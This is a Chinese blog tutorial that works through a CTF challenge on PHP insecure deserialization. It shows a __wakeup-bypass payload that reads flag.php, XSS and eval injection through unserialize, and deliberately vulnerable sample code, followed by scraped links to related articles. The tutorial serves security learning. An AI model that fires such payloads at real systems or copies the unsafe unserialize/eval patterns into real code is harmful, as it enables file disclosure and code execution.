代码编织梦想

渗透学习

不安全的反序列化之PHP反序列化



前言

本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。

接上篇不安全的反序列化之反序列化基础用简单案例接触了PHP反序列化,但对该漏洞的利用和实际场景浅尝辄止 。这篇将会用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例,加深对魔术方法等相关知识的理解。另外,还会和xss跨站脚本的知识进行融合。

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

一、CTF例题

学习案例

class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}}     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 
?>   #<!--key in flag.php-->

代码审计:
根据提示,key在flag.php中,而想要获得文件中内容,只能靠语句show_source(dirname (__FILE__).'/'.$this ->file);
发现该题用到了__destruct等魔术方法,可以根据其性质进行漏洞利用(详见上一篇文章)
常规思路是利用反序列化的方式POST"file"参数将读取的文件从index.php替换成flag.php,然后利用__destruct的自动执行读取flag.php中的内容。
但是在反序列化执行时会自动执行__wakeup,其作用是将文件再设为index.php
解决方案:
显然我们需要利用一种方法绕过__wakeup方法,而当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。比如:
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
Payload
根据上篇文章所学,易得反序列化语句为O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
此题还需要一次Base64编码,结果为:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
在这里插入图片描述
该PHP反序列化漏洞的案例其实来源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套开源的客户关系管理系统。研究者发现在其<=6.5.23的版本中存在反序列化漏洞,程序对攻击者恶意构造的序列化数据进行了反序列化的处理,从而使攻击者可以在未授权状态下执行任意代码。
有兴趣的可以点击了解

二、PHP反序列化漏洞和XSS跨站脚本

当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 οnerrοr=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

执行结果:
在这里插入图片描述
在__wakeup中一样存在类似的漏洞:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一样会造成XSS攻击

而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行则会造成更严重的后果。
比如:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
           eval($this->test);
    }
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可获得php内置信息


总结

以上介绍了一道比较综合的CTF题目对PHP反序列化漏洞有一个更清晰化的认识,这道题难度不算高,但对代码审计能力有着一定的要求。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/bwxzdjn/article/details/123698945

还原hitcon 2016一道web题(php反序列化漏洞)_诸神之眼的博客-爱代码爱编程

实验环境搭建:PHPstudy,火狐(backbar),notepad++; 原题目代码:https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick 本人在还原此题目时,因为mysql数据库用户名密码和方便调试等原因对源码的一些参数做了一

记一道集php伪协议&php反序列化综合运用的ctf_a_tong_mu_1的博客-爱代码爱编程

题目:http://120.24.86.145:8006/test1/ 首先拿到题目后,毫无疑问,查看一下源码 <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file

从一道ctf题学习php反序列化漏洞_fly_鹏程万里的博客-爱代码爱编程

一、CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下: class SoFun{ protected $file='index.php'; functi

攻防世界——ctf php反序列化_ch3nwr1d的博客-爱代码爱编程

0x01 php反序列化学习 今天的做了个反序列化的CTF题,先拜读大佬们的文章弄懂了啥叫反序列化: serialize:序列化 unserialize: 反序列化 简单解释: serialize 把一个对象转成字符串形式

php序列化与反序列化+ctf题目-爱代码爱编程

现在在ctf比赛中PHP的反序列题目出得有一些多,当然,是我感觉的 emmm 之前没有怎么好好去了解这个问题 碰到这类题目的时候都是代码好的同学在做 然后这段时间看了一下这些东西 就写一些东西吧 自己的想法 ——————————————————————————分割线———————————————————————————— 首先 什么是序列化  在ph

反序列化类型CTF题目总结-爱代码爱编程

反序列化CTF题总结 buu NiZhuanSiWeiareuserialz buu NiZhuanSiWei 主页是一段php代码,审计:     有file_get_content(),可以利用伪协议写入‘welcome to the zjctf '过判断;     同时看到提示有useless.php ,可以利用include()读一下

php反序列化ctf,代码审计| CTF 中的反序列化问题-爱代码爱编程

0x00 序列化和反序列化 简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。 0x01 对象序列化和反序列化的功能作用 1. 对象序列化的

ctf题php反序列化,[世安杯]一道关于php反序列化漏洞的题目-爱代码爱编程

Paste_Image.png 没什么信息,因此ctrl+u查看源码: Paste_Image.png 看到提示,file_get_contents()函数,联想到文件包含漏洞,因此google一波,查到 Paste_Image.png 查看原文 因此试一试: Paste_Image.png 补充一种饶过方法: 由于本

ctf+php反序列化,CTF中的PHP反序列化漏洞简单分析-爱代码爱编程

本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑 本文原创作者:Versi0n,本文属i春秋原创奖励计划,未经许可禁止转载! 一、前言 在ctf比赛中,经常会遇到php反序列化漏洞的题,今天就来简单分析下该漏洞的正确食用姿势~ 二、正文 1.基础知识PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构

PHP反序列化--简单ctf题--pop链(thinkphp5.1.X)漏洞复现-爱代码爱编程

前言: PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是PHP内置的方法。 __construct 当一个对象创建时被调用 __destruct 当一个对象销毁时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __call() 在对象上下文中调用不可访问的方法

PHP反序列化漏洞&网鼎杯ctf实例-爱代码爱编程

漏洞简介 php反序列化漏洞,又叫php对象注入漏洞。 简单来讲,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。 漏洞形成原因

CTF 反序列化入门例题wp-爱代码爱编程

最近有再看反序列化,尝试着学一下比赛中的反序列化:pop链的构造以及应用 [MRCTF2020]Ezpop 先了解一下pop链中的魔法函数:pop构造函数 <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#

CTF-PHP反序列化学习-爱代码爱编程

目录 1.序列化2.魔术方法2.1 构造函数和析构函数2.2 _sleep()he_wakeup()2.3 _toString()2.4 _get(),_set(),_isset(),_unset()2.5 __invoke(),__call()2.6 其他3序列化细节3.1 序列的含义3.2public ,protected,private下序列

phar反序列化+两道CTF例题-爱代码爱编程

文章目录 Phar反序列化什么是phar文件常见的流包装器phar文件必要的结构组成受影响的文件操作函数漏洞利用条件phar生成绕过方式例题SWPUCTF 2018]SimplePHP[NSSCTF]prize_p1PHP对象绕过异常phar://反序列化处理getflag()类签名修改参考文献 Phar反序列化 phar文件本质上是一种压缩